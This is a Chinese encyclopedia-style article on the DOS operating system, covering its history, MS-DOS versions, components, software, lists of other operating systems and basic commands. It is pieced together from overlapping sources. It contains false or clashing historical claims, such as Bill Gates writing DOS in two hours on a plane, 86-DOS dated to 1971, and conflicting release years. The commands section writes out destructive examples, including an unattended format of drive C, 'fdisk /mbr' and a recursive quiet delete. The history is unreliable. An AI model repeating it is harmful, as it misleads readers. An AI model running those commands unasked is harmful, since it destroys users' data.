标题：dos
基本概述
磁盘操作系统英文简称是DOS，全称是Disk Operating System　　是个人计算机上的一种操作系统附加继承下来操作系统的载体。从1981年MS-DOS1.0直到1995年MS-DOS7.1的15年间，DOS做为微软公司在个人计算机上使用的一个操作系统载体，推出了多个版本。DOS在IBM PC 兼容机市场中占有举足轻重的地位。可以直接操纵管理硬盘的文件，以DOS的形式运行。　　是一个更久远的操作系统CP/M的翻版。DOS家族包括MS-DOS、PC-DOS、DR-DOS、FreeDOS、PTS-DOS、ROM-DOS、JM-OS等，其中以MS-DOS最为著名，最自由开放的则是Free-DOS.
微软图形界面操作系统windows9x问世以来，DOS就是一个后台程序的形式出现的。可以通关点击运行-CMD进入运行。
名称由来

DOS，是磁盘操作系统（英文：DiskOperatingSystem）的缩写，是个人计算机上的一类操作系统，xp/win7系统中仍然保留DOS口。从1981年直到1995年的15年间，DOS在IBM PC 兼容机市场中占有举足轻重的地位。而且，若是把部份以DOS为基础的Microsoft Windows版本，如Windows 95、98和Me等都算进去的话，那么其商业寿命至少可以算到2000年.[1]
[2]家族包括MS-DOS、PC-DOS、DR-DOS、FreeDOS、PTS-DOS、ROM-DOS、JM-OS等，其中以MS-DOS最为著名。虽然这些系统常被简称为"DOS"，但没有任何一个系统单纯以"DOS"命名（只有一个毫无关连的1960年代IBM大型主机操作系统 以此命名）。此外，有几个和DOS无关、在非x86的微计算机系统上运行的磁盘操作系统在名称中也有 "DOS" 字眼，而且在专门讨论该机器的场合中也会简称为"DOS"（例如：AmigaDOS、AMSDOS、ANDOS、AppleDOS、Atari DOS、Commodore DOS、CSI-DOS、ProDOS、TRS-DOS等），但这些系统和DOS可执行文件以及MS-DOS API并不兼容。
发展简史
DOS是1979年由微软公司为IBM个人电脑开发的MS-DOS,它是一个单用户单任务的操作系统。后来DOS的概念也包括了其它公司生产的与MS-DOS兼容的系统，如PC-DOS[3]、DR-DOS, 以及一些其它相对不太出名的DOS兼容产品。它们在1985年到1995年及其后的一段时间内占据操作系统的统治地位,最著名和广泛使用的DOS系统从1981年直到1995年的15年间微软在推出Windows 95之后，宣布MS-DOS不再单独发布新版本。不过FreeDOS等与MS-DOS兼容的DOS则在继续发展着。[2]DOS系统由微软前总裁比尔盖茨，在飞机上以两小时的时间编写，后以每台IBM电脑安装一个DOS系统，微软就收取200美金的商业运作模式，造就了微软的初期辉煌。
虽然大多数用户将1981年最早发表的术语“PC”与IBM PC或PC兼容机等同看待， 但是实际上个人计算机在1970年已经开始使用。DOS是IBM PC及其兼容机用的操作系统。在DOS之前，一些微机为其操作系统使用内部BASIC编程语言，而另外一些使用Digital Research公司开发的CP/M操作系统（此公司提供了DR DOS）。Microsoft公司于1970年后开发了MS-DOS，当时，该公司为不同微机开发了像BASIC这类编程语言；1980年IBM正在设计最早的IBM PC并请Microsoft为其新型机开发多个编程语言。这次CP/M作为选择的操作系统并成为IBM新机种的操作系统。在Microsoft为IBM PC 设计语言的过程中，尽管Microsoft公司改进了IBM PC的语言设计和应用程序设计，但是他们认识到开发PC操作系统才是其努力方向。然而，由于没有足够的时间从零开始开发一个操作系统。为解决这个问题，Microsoft购买了一个用于8086处理器的操作系统86-DOS，该处理器与最早的IBM PC中的8086处理器非常相似。[2]
历史概述
  DOS系统
DOS是Disk Operation System(磁盘操作系统）的简称，是个人计算机上的一类操作系统。它直接操纵管理硬盘的文件，一般都黑底色白文字的界面。从1980年到1995年的15年间，DOS在IBMPC兼容机市场中占有举足轻重的地位。当时，电脑操作系统就是DOS，键入DOS命令运行，其他应用程序，都是在DOS界面下键入EXE或BAT文件运行。早期的DOS系统是由微软公司为IBM的个人计算机开发的，称为MS-DOS。后来，其他公司生产的与MS-DOS兼容的操作系统，也延用了这个称呼，如PC-DOS、R-DOS等等。[2]
1971年，西雅图电脑产品公司（Seattle Computer Products）的一名24岁的程序员蒂姆·帕特森（Tim Paterson）花费了四个月时间编写出了86-DOS操作系统。1981年7月，微软以五万美元的代价向西雅图公司购得本产品的全部版权，并将它更名为MS-DOS。随后，IBM发布了第一台个人计算机，当时采用的操作系统是西雅图公司的86-DOS 1.14，但微软很快改进了MS-DOS，并使它成功地成为IBM PC采用的操作系统。并于1981年8月12日，正式发布MS-DOS 1.0和PC-DOS 1.0。[2]
DOS1.0微软买下 86-DOS（Qdos）版权。1981年7月成为IBM PC上 第一个作业系统。同时微软又为IBM PC开发专用版本 PC-DOS，但与泛用版本DOS相比，除了系统档名以及部份针对 IBM 机器设计的核心，外部命令与公用程式之外，其余程式码差异不大。[3]
DOS1.251982年6月，支持双面软盘并开始修复bug。不仅IBM，MS，许多OEM也广泛使用。[4]
现今中国人已经可以成功的在x86架构的下使用中文版MS-DOS（MS-DOS 6.22)，操作变得更加直观便捷。
版本
以86-DOS操作系统为基础，Microsoft开发了MS-DOS1.0版本，该操作系统在1981年和最早的IBM PC一起发表。DOS1.0不支持分层目录。所有的文件访问都必须通过文件控制模块，这一技术从CP/M而来。DOS1.0支持两类执行文件：COM及EXE。COM文件所有格式与CP/M可执行文件相似并且受到为代码，数据，堆栈空间所用的64KB内存限制。此外，1.0版本引入了批处理文件。因为最早的IBM PC只有64KB的内存，因此内存很紧张。为降低所有的内存容量则要使用命令处理器,1.0版本将命令处理器分为常驻部分和暂驻部分，后者在执行程序期间可被其他DOS程序覆盖。当程序运行结束时，常驻部分检测暂驻部分，如果有必要，常驻部分将其从磁盘中重新装载到内存中。在Microsoft为IBM提供DOS时，IBM使用名为PC DOS，说明与IBM PCD的密切关系。[2]　DOS1版本提供的命令:CHKDSK DEBUG ERAS REM COMMAND DIR FORMAT REN COMP DISKCOMP LINK SYS COPY DISKCOPY MODE TIME DATE EDLIN PAUSE TYPEDOS1.1版本1982年,发表了DOS的第二个版本,该版本被Microsoft称为MS-DOS1.25，以及IBM称为PC-DOS1.1的版本，该版本支持双面软盘驱动器。早期的单面软盘驱动器仅能访问保存在单面软盘上的信息。为了减少使用磁盘的数量，有的用户购买了可翻面的磁盘。这种磁盘可在两面上存放信息。除支持双面磁盘外，DOS1.1还纠正了某些在1.0版本中发现的错误并且提供了程序员工具EXE2BIN。[2]　DOS2.X 版本最早的IBMPC是基于软盘的系统，使用软盘驱动趋A和B。最早的PC不支持当时非常昂贵的硬盘。当IBM发表包括10MB硬盘的IBM PC XT计划时，Microsoft开发了新的用于DOS的文件系统。MS-DOS1.0版本及格1.1版本不支持分层目录，而对于硬盘，着样的目录是必须的。[2]　Microsoft选择开发小型机UNIX操作系统相似的分层目录结构。UNIX当时开始流行。由于文件控制块不支持用于目录路径名的空间，因此Microsoft保留文件控制块并使2.0版本基于文件句柄管理文件.DOS使用文件句柄的第二个好处是能够实现重定向功能(也是UNIX的一个普通功能)。使用DOS2.0版本，IBM变得很成功，并且DOS和CP/M操作系统一起成为可选的操作系统。由于PC机的流行，很多硬件生产厂家开发基于PC的产品。为帮助这些厂家汇集其产品，MS-DOS2.0提供支持可安装设备驱动程序，首次提供了CONFIG.SYS预配置文件。DOS2.0版本包含很多UNIX的特性，然而，UNIX是一允许许多个用户同时运行多个程序的多用户操作系统。为提供多任务的简化格式，DOS2.0版本提供了诸如GRAPHICS及PRINT这样的内存驻留程序。
[2]　DOS2版本引入的DOS命令: ASSIGN FC MORE SET BACKUP FDISK PATH SHIFT BREAK FIND PRINT SORT CHDIR FOR PROMPT TREE CLS GOTO RECOVER VER CTTY GRAPHICS RESTORE VERIFY ECHO IF RMDIR VOL EXIT MKDIR　　DOS3.X 版本1984年，IBM发表了其80286IBM PC AT，该机种使用了1.2MB的大软盘驱动器并在COMS芯片中保存计算机的设置信息.为支持DOS3.0版本,1984年的一段时间是计算机网络的前夕.虽然局域网的广泛应用还是将来的事,很多DOS3.0版本被写成支持网络DOS3.1版本成功支持局域网络。虽然DOS2版本中用文件句柄代替了文件控制块,但还有一些现有的程序仍然使用文件控制块(FCB).为减少在网络程序中过多使用文件控制块，DOS3.1每次允许打开四个文件控制块。如果程序打开第五个文件，则网络服务器或SHARE将关闭最先打开的文件控制块。为提供支持增加的文件控制块，DOS3.1增加了CONFIG.SYS FCBS项。此外,DOS3.1引入了JOIN及SUBST虚拟命令。1986年,Microsoft发表了支持3.5英寸微软盘驱动器的3.2版本。此外,DOS3.2版本还引入了REPLACE以及XCOPY命令.1987年,IBM发表了PS/2系列计算机.为支持PS/2,Microsoft发表了,DOS3.3版本,除支持PS/2以外,DOS引入了五个命令: CALL APPEND KEYBCHCP NLSFUNC 以及 FASTOPEN.DOS3.3是最广泛应用及最流行的DOS版本.事实上,很多用户仍在运行DOS3.3,因为DOS3.3工作得很好.DOS3.3的主要不足是其仅支持不大于32MB的磁盘分区。　　DOS3版本引入的DOS命令:ATTRIB KEYBxx SELECT GRAFTABL LABEL SHARE　　
: CALL APPEND KEYBCHCP NLSFUNC 以及 FASTOPEN.DOS4.X 版本1988年，Microsoft发表了DOS4.0版本,该版本突破了32MB磁盘分区的限制。在4.0版本中,盘分区容量可达512MB。此外，DOS4.O版本提供了一个菜单驱动的shell程序，允许用户用菜单选择文件，或用鼠标选择文件。DOS4.0版本还引入了MEM命令，该命令不允许用户显示其计算机常规内存的容量，还可显示扩充及扩展内存的容量。此外，4.0版本还修改了多个命令使其更有效地使用内存。初期的DOS4.0版本有一些缺陷及较差的评述，为弥补缺陷，Microsoft发表了4.01版本，然而大多数用户和很多厂家未决定升级至DOS4版本。　　DOS5.X 版本1987年，个人计算机革命成为局域网的革命：横跨全美各地的办公室开始将个人计算机连接在一起以共享信息。在用户程序大到在常规内存限制的640KB内存中运行感到困难之前，这场革命未持续多长时间。某些情况下，用户要使用扩展或扩充内存，然而，很多程序，包括DOS均不能在640KB以上地址运行。1990年,Microsoft极其成功地推出了友好用户接口Windows，在Windows中，新的用户可以学习如何更快地使用计算机，而有经验的用户则可通过同时运行多个程序而提高效率。1990年，其它工具软件以“DOS遗忘的应用程序”名义开辟了每年几百万美元的市场。　　DOS6.X 版本在1993年初，Microsoft发表了DOS6版本。DOS6在DOS5的基础上进一步扩充了以前用户必须从其它软件公司购买的软件的功能。首先，DOS6提供了INTERLNK以及INTERSVR应用程序，该程序使得便携式计算机可以很容易地与台式PC计算机交换文件。在将来，许多新出长的计算机都配有电源管理芯片，以控制电源的使用，该芯片支持APM（高级电源管理）。DOS6提供了POWER命令，是DOS可以控制该芯片。DOS6还提供了检查并清除病毒的程序以及整理磁盘的实用程序。为帮助用户配置自己的系统，DOS6引入了建立基本配置菜单CONFIG.SYS的选项。在发表DOS6的版本之前，Microsoft发表了用于Workgroups的Windows和一个基于网络的Windows版本。该版本允许用户共享数据，发送及接收电子邮件，以及远程打印文件。为了帮助用户在不运行Windows时可以得到这些功能，DOS6提供了NET命令。最后，DOS6提供了强大的菜单驱动的备份文件的实用程序以及磁盘压缩软件，允许用户容易地倍增硬盘的存储能力。　　DOS6版本引入的DOS命令:CHOICE FASTHELP MSAV POWER DBLSPACE INTERLNK MSBACKUP SMARRTDRV DECOMP INTERSVR MSD VSAFE DEFRAG MEMMAKER DELTREE MOVE　
版本更新
自从DOS在1981年问世以来，版本不断更新，从最初的DOS1.0升级到了最新的DOS8.0（Windows ME系统），随着windows的升级，全新的DOS已经被PowerShell替代。纯DOS 的最高版本为DOS6.22，这以后的DOS新版本都是由Windows系统所附带提供的。
MS-DOS的更新
版 本年 份增加的功能1.01981基本磁盘操作功能1.251982双面软盘2.01983硬盘、子目录2.011983支持[2]2.111983半高型软盘2.251983扩展字符集3.019841.2MB软盘、大硬盘3.11984PC网络3.219863.5英寸软盘3.31987大容量硬盘、PS/24.01988提供功能表驱动环境4.011988改正4.0版本中的错误5.01992增加存储器使用范围6.01993提供倍增磁盘容量、存储器管理费
6.21994改进倍增磁盘容量、提供扫描磁盘6.221995改进磁盘压缩方式、支持CD-ROMMS-DOS2.01983年3月，加入UNIX式的树状档案系统以及硬盘支援，以低阶的观点视之，这是第一次的dos重大改版。这个版本除了相容于CP/M的FCB档案系统之外，正式采用了档案配置表格式，并大量使用具有UNIX特征的Handle式档案操作方式。
MS-DOS 2.111983年3月，为主要的OEM版本，修正了2.01版的错误，增加了对非英语语言及其文件格式的国际性支持。
MS-DOS2.251983年10月，支持额外扩充的字符组（日文与韩文），还修正了旧版的。
MS-DOS3.01984年8月，引入PC/AT.它能支持1.2MB的软盘，并加入较高容量的硬盘。
MS-DOS3.11984年11月，加入对网络支持。
MS-DOS3.21986年1月，加入了3.5吋软盘的强化支持，并开始可以透过驱动程式使用硬件EMS。
MS-DOS3.31987年8月，修正部份内部错误，增加了许多关于档案处理的外部命令，之后开始支持软盘。
MS-DOS4.01988年6月，主要基于IBM的代码库，而不是微软自己的代码库。加入了最大2GB容量硬盘机支持，引入EMM（软件模拟EMS）以及新规格XMS 内存技术，令dos操作系统可以使用1MB以上的。开始有 dosSHELL 的使用。dosSHELL可以被视为 DOS的GUI界面，并有切换程式作业的能力。
MS-DOS5.01991年6月，第三次重大改版，可能是dos史上最重要的改版。这个版本继承 4.0 对于内存管理进行的改进，是EMM规格最为稳定、普及的版本，也加入了许多内存管理的程式，如EMM386、MEM等等，为的就是与Windows更好的搭配，连带也使得dos内存管理成为当时许多软件亟欲配合增强的领域，如何设定dos内存配置成为热门话题。BASIC直译器改为QuickBASIC的简易版本QBASIC，内建文字编辑器则由原来的行编辑EDLIN改为全屏幕编辑的EDIT（其实只是对QBASIC.EXE多下一道参数而已）。减少外部命令对于版本的需求，而在千呼万唤中，终于加入dosKEY、UNDELETE、Quick Format、UNFORMAT等能力。另一个值得一提的是，这个版的CONFIG.SYS允许有多重选项。
MS-DOS6.01993年3月，加入了许多花哨的外部命令。系统检测程式MSD被加入。DoubleSpace压缩磁盘技术开始被使用，亦开始附上微软自家的解毒软件VSAFE以及MSAV。网络方面开始加入对 LL5 传输线的支持。对于磁盘，开始加入磁区整理软件DEFRAG以及磁盘快取程式SMARTDRV。档案管理方面，以豪华的MSBACKUP取代了阳春的BACKUP。另外，终于加入了DELTREE与MOVE公用程式。开始正式支持光驱。内存管理方面则加入了 MEMMAKER 组态最佳化程式。MS-dos 6.21993年11月，DoubleSpace更名为DrvSpace。
MS-DOS6.211994年2月。
MS-DOS6.221994年6月，最后一个销售版本。1994年8月，国乔（KC）取得微软与IBM授权，搭配国乔中文系统发表自己的dos 7.0。
MS-DOS7.01995年8月，Windows 95所带的版本，支持长文件名。  ms-dos操作系统
MS-DOS7.11996年8月，加入对大硬盘和FAT32分区的支持等。
MS-DOS8.02000年9月，dos的最后一个版本，取消了部分功能，例如不再支持SYS命令、打印机操作。
Microsoft Windows[版本 6.1.7600]2009年发布全新窗口dos：PowerShell，功能类似Unix系统的控制台。
在此以后，DOS操作系统的使用逐步减少，甚至出现了普通用户不会使用DOS的现象。
PC-DOS
PC-DOS是IBMPC个人计算机上使用的一种DOS操作系统，由微软为IBM开发,同时微软也以MS-DOS名销售同一软件。打开DOS窗口的方法 点击电脑开始，运行，输入CMD 回车(或按Win+R组合键弹出运行窗口)
DOS定义
DOS是英文Disk Operating System的缩写，意思是“磁盘操作系统”，顾名思义，DOS主要是一种面向磁盘的系统软件。说得简单些，DOS就是人与机器的一座桥梁，是罩在机器硬件外面的一层“外壳”，有了DOS，就不必去深入了解机器的硬件结构，也不必去死记硬背那些枯燥的机器指令。只需通过一些接近于自然语言的DOS命令，就可以轻松地完成绝大多数的日常操作。此外，DOS还能有效地管理各种软硬件资源，对它们进行合理的调度，所有的软件和硬件都在DOS的监控和管理之下，有条不紊地进行着自己的工作，但是在操作不慎情况下也会死机。
DOS
DOS是磁盘操作系统的简称，MS-DOS是MicroSoft-dos，它不是纯DOS，是基于Windows的DOS程序，在功能上类似于DOS，但是不一样（有很多操作是不能在MS-DOS里实现的）。最初的DOS不支持NTFS文件系统，只支持FAT、FAT16、FAT32，操作系统中的DOS工具箱已经支持NTFS。　
当进入该系统时，内部指令可以由系统间接调用。
第一台个人电脑版的磁盘操作系统（DOS），称为PC-DOS，是由比尔·盖茨和他的微软公司为IBM公司研制的。他保留Microsoft版（称为MS-DOS）的销售权。PC-DOS和MS-DOS几乎相同，大多数用户统称它们为“DOS” 。它是一个非图形界面的操作系统，使用命令行界面的操作系统，运行程序的方法是在命令行中键入程序的名称，具有相对简单的接口，但不是过于“友好”的用户界面。它像这样提示输入命令：C:\> D:\> E:\> F:\>
20世纪70年代，在个人计算机发明之前，IBM公司有一个不同且无关的DOS（磁盘操作系统），在规模尚未小一点的企业电脑上运行。它最后被IBM的VSE操作系统所取代了。
以前，这个名字是指用于一系列商用电脑的IBM操作系统。
DOS 操作系统用户指令是不区分大小写的。例如：DIR、Dir、dir在DOS中的执行含义是一致的。
DOS磁盘操作系统(18张)
常用命令
1、磁盘操作fdisk 参数 /mbr 重建主引导记录 EXP:fdisk /mbr 重建主引导记录 （可以洗掉还原精灵）　　format 参数： /q 快速格式化 /u 不可恢复 /autotest 不提示 /s 创建 MS-DOS 引导盘 EXP:format c: /q /u /autotest　　自动快速格式化C盘(危险!!!)　2、目录操作DIR [目录名或文件名] [/S][/W][/P][/A] 列出目录 参数: /s 查找子目录 /w 只显示文件名 /p 分页 /a 显示隐藏文件 EXP: DIR format.exe /s查找该盘的format.exe文件并报告位置　　CD [目录名] PS:可以使用相对目录或绝对目录 进入目录 exp:CD AA 进入当前文件夹下的AA目录,cd .. 进入上一个文件夹cd \返回根目录;cd c:\windows 进入c:\windows文件夹　　MKDIR [目录名] 创建目录 EXP:MKDIR HELLOWORLD 创建HELLOWORLD目录　3、文件操作del [目录名或文件名] [/f][/s][/q] 删除 参数:/f 删除只读文件 /s 删除该目录及其下的所有内容 /q 删除前不确认　　exp: del c:\del /s /q 自动删除c盘的del目录　　copy [源文件或目录] [目标目录] 复制文件 EXP:copy d:\pwin98\*.* c:\presetup 将d盘的pwin98的所有文件复制到c盘的presetup下　　
早期系统
TRS-DOS，ROM OS's
TI99-4
Commodore PET，64，和 VIC-20，
第一套IBM-PC
苹果电脑
Sinclair Micro和QnX等

商业系统
CPM操作系统
MP/M-80
UCSD P-system
Mini-FLEX
SSB-DOS
CP/M-86
DR-DOS
FreeDOS
MS-DOS
PC-DOS
Mach由卡纳尼基梅隆大学研究
L4微内核第二代微内核
CHORUS
Choices
Multics
OS-9
NSJ
Netware:一种网络服务器操作系统

类似系统
UnixSystem V
Xenix-微软
OS/2-IBM 微软
SCO UNIX-SCO
IRIX-SGI
A/UX-Apple->Mac OS X
HP-UX-HP
AIX-IBM
SolarisOpen Solaris->SunOS-Sun
OS/390
ChorusOS
Cromix
UNIflex
QNX
OS-9
Digital UNIX，即之后康柏Tru64
DNIX
Inferno
MenuetOS
OSF/1
Plan9
Ultrix
UniCOS
z/OS
Syllable
BSD
FreeBSD
NetBSD
OpenBSD
DragonFly BSD
PC-BSD
Kylin(麒麟操作系统),由国防科技大学、中软公司、联想公司、浪潮公司和民族恒星公司五家单位合作研制的服务器操作系统
Mac OS X
SUN OS
GNU
Hurd
GNU/Hurd
Linux
Minix
Linux（或称GNU/Linux）
CentOS（Red Hat的编译版）
Debian
Red Hat
Ubuntu
linux mint
Deepin
StartOS->ylmf OS
Chrome OS
Andriod

其他
AcornArthur
ARX
RISC OS
RISCiX
AmigaAmigaOS
Atari STTOS
MultiTOS
MiNT
苹果电脑Apple DOS
ProDOS
Mac OS
Mac OS X
pink OS
BeOS
A/UX
BeBeOS
BeIA
Haiku
Digital/康柏AIS
OS-8
RSTS/E
RSX-11
RT-11
TOPS-10
TOPS-20
VMS（后更名为OpenVMS）
IBMOS/2
AIX
OS/400
OS/390
VM/CMS
DOS/VSE
VSE/SP
VSE/ESA
OS/360
MFT
MVT
SVS
MVS
TPF
ALCS
z/OS
PC-DOS
pink OS
微软MS-DOS
Xenix
Microsoft Bob
基于MS-DOS操作系统的Windows
Windows 1.0
Windows 2.0
Windows/286 2.1
Windows/386 2.1
Windows 3.0
Windows 3.1
Windows for Workgroups 3.1
Windows for Workgroups 3.11
Windows 95
Windows 98
Windows ME
Windows NT
Windows NT 3.1
Windows NT 3.5
Windows NT 3.51
Windows NT 4.0
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows 8
NovellNetWare
Unixware
SUSELinux
NeXTNEXTSTEP（即之后的Mac OS X）
Inferno
Prime ComputerPrimos
西门子BS2000- 用于西门子公司的大型主机。
SINIX（也称Reliant UNIX） - 用于西门子公司的UNIX电脑系统。
个人电子助理Palm OS
Pocket PC
EPOC
Microsoft Windows CE
Linux
智能手机嵌入式（以Linux为基础）
Access Linux
Android
bada
LiMo
Maemo
Meego
Mobilinux
Moblin
MotoMagx
Openmoko
WebOS
Qt Extended
Ubuntu Mobile
其它
BlackBerry OS
BREW
DoJa
Palm OS
iPhone OS
JavaFX
PSP
SavaJe
Symbian OS
Windows (CE,Embedded,Mobile,XP Tablet PC)
pe分区
可以采用pe维护系统进行分区，比其他分区容易操作

其他系统
动态可扩展操作系统
MIT的Exo Kernel
华盛顿大学的 SPIN
哈佛大学的 VINO
illinois大学的Choices
ReactOS
JNode
MenuetOS

系统分类
DOS家族包括MS-DOS、PC-DOS、DR-DOS、FreeDOS、PTS-DOS、  dos的运用教程ROM-DOS、JM-OS和CC-DOS、UC-DOS等，其中以MS-DOS最为著名。DOS是一个更久远的操作系统CP/M的翻版。虽然这些系统常被简称为“DOS”，但没有任何一个系统单纯以“DOS”命名（只有一个毫无关联的1960年代IBM 大型主机作业系统以此命名）。此外，有几个和DOS无关,在非x86(32位)的微电脑系统上执行的磁碟作业系统在名称中也有“DOS”字眼，而且在专门讨论该机器的场合中也会简称为“DOS”（例如：AmigaDOS、AMSDOS、ANDOS、AppleDOS、Apad DOS，）UC-DOS 是中文汉字操作系统，是国内对原系统进行的汉化。
设计架构
所有DOS类的操作系统都是在使用Intelx86或其兼容CPU的机器上运行的（主要是IBM PC及其兼容机）。最早的时候，DOS 并未受限于此；为了在许多以x86为基础，但和 IBM PC 不兼容的机器上运行，产生了不少特定机器版本的 DOS 及类似的操作系统。[1]
DOS 是单一用户、单工的操作系统，拥有不可重入的基本核心函数（意即同时间只能有一个程序调用这些函数）。有一个例外的状况，就是常驻程序（Terminate and Stay Resident，缩写为 TSR）。某些常驻程序允许用户多任务操作；然而此时仍有“核心不可重入”的问题：当一个进程 (process) 调用了操作系统核心中的服务函数（也就是系统调用）时，在这个调用退出之前，其他的进程绝对不能进行系统调用、打断第一个进程。[2]
DOS 的核心为用户程序提供了各式各样的函数，例如：在屏幕上显示文字、从键盘读入字符、访问磁盘上的文件、创建删除文件等等。
DOS组成
完整的DOS由五部分组成：
引导程序（ BOOT ）：由格式化程序直接写入磁盘初始扇区。
基本输入/输出管理程序(PC-DOS为IBMBIO. COM、MS-DOS为IO.SYS)。
文件管理和系统功能调用程序(PC-DOS为IBMDOS.COM、MS-DOS。为MSDOS.SYS)。
命令处理程序(COMMAND. COM)。
各种外部命令：完成各种辅助功能的可执行文件。

DOS软件
由于DOS是PC兼容机的主要平台，有许多为DOS撰写的知名软件。其中包括了：  Lotus 界面
Lotus 1-2-3：一套在企业市场中被广泛运用的电子表格软件。被许多人视为 IBM PC 成功的主因。在MS-OfficeExcel出现之前被广泛使用，随着Excel的出现，大部分用户转向使用Excel。
WordPerfect：一套出在 DOS 平台的文本编辑器。
dBase:最早的数据库软件之一。
BASIC：DOS下最普遍的计算机编程系统，有GBASIC、QBASIC等分支，是当时计算机初学者启蒙语言。
PCTools（PCShell）：DOS下文件管理软件，可进行绝大多数文件操作。　　
Telix:调制解调器通信软件。
Arachne：一套 DOS 版的网络浏览器。
DJGPP：gcc 的 DOS移植版。
GRUB4DOS：是一个优秀的双(多)系统引导软件，使用GRUB4DOS可以很方便的引导各种操作系统，比如DOS、Windows、Linux等。是一个可以把U盘制作成光盘似的来进行装系统。
UCDOS：是基于MS-DOS,由中国人自己编制的中文操作系统。
TurboC：是一个高效的编译程序。
系统优点
DOS是一种个人计算机（PC）操作系统。总而言之，DOS是命令模式下的人机交互界面，人通过这个界面来运行和控制计算机，就好像两个人相互沟通。　
DOS(磁盘操作系统）使用一些接近于自然语言或其缩写的命令，就可以轻松地完成绝大多数日常操作。另外，DOS作为操作系统能有效地管理、调度、运行个人计算机各种软件和硬件资源。　
Windows XP，Windows Vista和Windows 7在“附件”中有一个“命令提示符”（CMD）。其模拟了一个DOS环境，可以使用相关的命令来对计算机和网络进行操作。
另外，有一些人使用DOS编辑程序在Windows启动失败时强行使用DOS引导盘引导DOS启动，从而恢复C盘。
自1998之后windows完全脱离了DOS，虽然DOS过时了（就像当年的软驱一样），命令行的批处理程序却存活下来，而且活得很好,因为它高效、简单、实用。
功能说明
基本功能简介执行命令和程序功能2.I/O管理功能3.磁盘与文件管理功能
主要功能文件管理
文件管理是指对计算机中各类文件进行有序的管理，其中包括：  磁盘柜
对文件标识符、属性、生成或修改时间的管理；对文件读写操作的管理及对文件建立、检索、比较、修改、新建、删除和复制等操作的管理等。　
特别要注意的是，DOS的文件管理中，对文件名采取8.3的命名方式，也就是说：主文件名为8个字符，扩展名（后缀）为3个字符。并根据扩展名来确定文件的打开方式，比如扩展名为.txt，则一般为文本文件，扩展名为.exe，表示可执行文件。进入windows操作系统后才支持长文件名管理。
设备管理
设备管理是利用dos的设备管理程序和模块，进行外设分配、外设输入/输出操作和缓冲区的有效管理。
存储管理
存储管理是利用dos的动态存储管理，对内存块的分配、请求、释放和修改等操作进行管理。存储管理可以为系统程序和应用程序有效地利用当前内存容量提供方便。
DOS采用的是单一连续存储管理。　
作业管理
作业是用户通过dos命令请求计算机系统完成的一个独立任务。一个  dos控制台作业可以包括输入、编译、连接、运行和输出等若干个处理步骤。作业管理就是许多个作业执行时进行必要的资源调度和作业处理过程控制。dos分内部命令和外部命令。
CPU管理
CPU(中央处理器)相当于主机的大脑，是微机系统中的核心部件。CPU管理一是使CPU能够进行高效的运作，二是能够处理各种可能发生的中断事件。
用户还可把多于一个的dos指令，加到*.bat批处理文件中批量执行。系统组成　　1.引导程序（BOOT）　　2.输入输出管理系统（IO.SYS）　　3.文件管理系统（MSDOS.SYS）　　4.命令处理程序（COMMAND. COM）启动引导　　1．DOS的冷启动:　　当计算机处于断电状态下，加电启动当计算机处于断电状态下，加电启动DOS系统，称为系统的冷启动。　　2．DOS的热启动:　　<CTRL> + <ALT> + <DEL>
使用说明
在DOS环境下，电脑启动开机后，所呈现的不是桌面和图标，而是这样的电脑屏  Arachne 互联网浏览器幕：C:\>叫做命令提示符，这个闪动的横线叫做光标。这样就表示电脑已经准备好，在等待用户输入指令。用户需要做的，就是对电脑发出指令，给电脑什么指令，电脑就会按照指令进行操作。那用户又怎么向电脑输入指令呢？　
比如:用户想看看几点钟了，就可以输入时间命令，敲入time四个字母，再敲回车键确认，这时屏幕上就显示出当前时间。再敲回车键，又出现提示符了，就可以输入下一条命令了。如果想看日期，输入date，然后敲回车键确认，这时屏幕上显示出当前日期。再敲回车键又回到提示符了。
这就是DOS的命令输入方法，和Windows 95中用鼠标寻找图标来运行  故障回复台程序不同，DOS中是通过输入英文命令加回车键这种方式来执行程序的。
在字符界面下，用户只能通过键盘输入字符来指挥电脑工作，电脑完成一个命令后，出现下一个提示符，用户就又可以给电脑下命令了。注意，在DOS下电脑一次只能做一件事，做完以后才能开始下一件事；而在Windows 95下，用户可能让电脑同时干几件事，比如，用户可以一边拷贝文件.一边写文章，一边浏览Internet。所以人们把DOS称为单任务的操作系统，而把Windows 95称为多任务的操作系统。
在DOS中，文件与目录是最重要的概念，这和Windows 95一样，不同的是，“目录”在Windows 95中叫作“文件夹”如果我们想查看电脑中的文件，可以输入dir命令，然后回车。　?
常用命令
TIME命令1功能：设置或显示系统时间。
2类型：内部命令
3格式：TIME - [hh:mm:ss:xx]
4使用说明：
（1）省略[hh:mm:ss:xx]，显示系统时间并提示输入新的时间，不修改则可直接按回车键相应，[hh:mm:ss:xx]为“小时：分钟：秒：百分之几秒”格式；
（2）当机器开始启动时，有自动处理文件（AUTOEXEC.BAT）被执行，则系统不提示输入系统日期。否则，提示输入新日期和时间。TYPE 命令1、格式：type [盘符：]　[路径]　文件名
2、类型：内部命令
3、功能：把指定的文件内容在屏幕上显示或打印机输出，它常用作查阅和显示文本文件的内容和打印清单。
4、说明：
（1）该命令只能显示ascii字符型文件, 不能显示非文本文件　如exe、com
（2）文件名指全名，不能使用通配符
（3）执行时，可以按ctrl+numlock或ctrl+s暂停滚动，按任意键继续。
（4）按ctrl+p可以将内容在打印机上打出  Ghost 系统界面
例1、将C:\windows下tabletoc.log文件的内容显示出来
type C:\windows\tabletoc.log
例2、将C:\windows下WGA.log只在打印机中输出，不在屏幕上显示
type C:\windows\WGA.log >prnCLS清屏幕1功能：清除屏幕上的所有显示，光标置于屏幕左上角。
2类型：内部命令
3格式：CLSVER查看1功能：显示当前系统版本号
2类型：内部命令
3格式：VER日期设置1功能：设置或显示系统日期。
2类型：内部命令
3格式：DATE [mm-dd-yy]
4使用说明：
（1）省略[mm-dd-yy]显示系统日期并提示输入新的日期，[mm-dd-yy]为“月-日-年”格式；恢复删除1．功能：恢复被误删除命令(只可以在纯dos下使用）
2．类型：外部命令。
3．格式：UNDELETE[盘符:][路径名]<文件名>[/dos]/LIST][/ALL]
4．使用说明：使用UNDELETE可以使用“*”和“?”通配符。
（1）选用/dos参数根据目录里残留的记录来恢复文件。由于文件被删除时，目录所记载斩文件名第一个字符会被改为E5，dos即依据文件开头的E5和其后续的字符来找到欲恢复的文件，所以，UNDELETE会要求用户输入一个字符，以便将文件名字补齐。但此字符不必和原来的一样，只需符合dos的文件名规则即可。
（2）选用/LIST只“列出”符合指定条件的文件而不做恢复，所以对磁盘内容完全不会有影响。
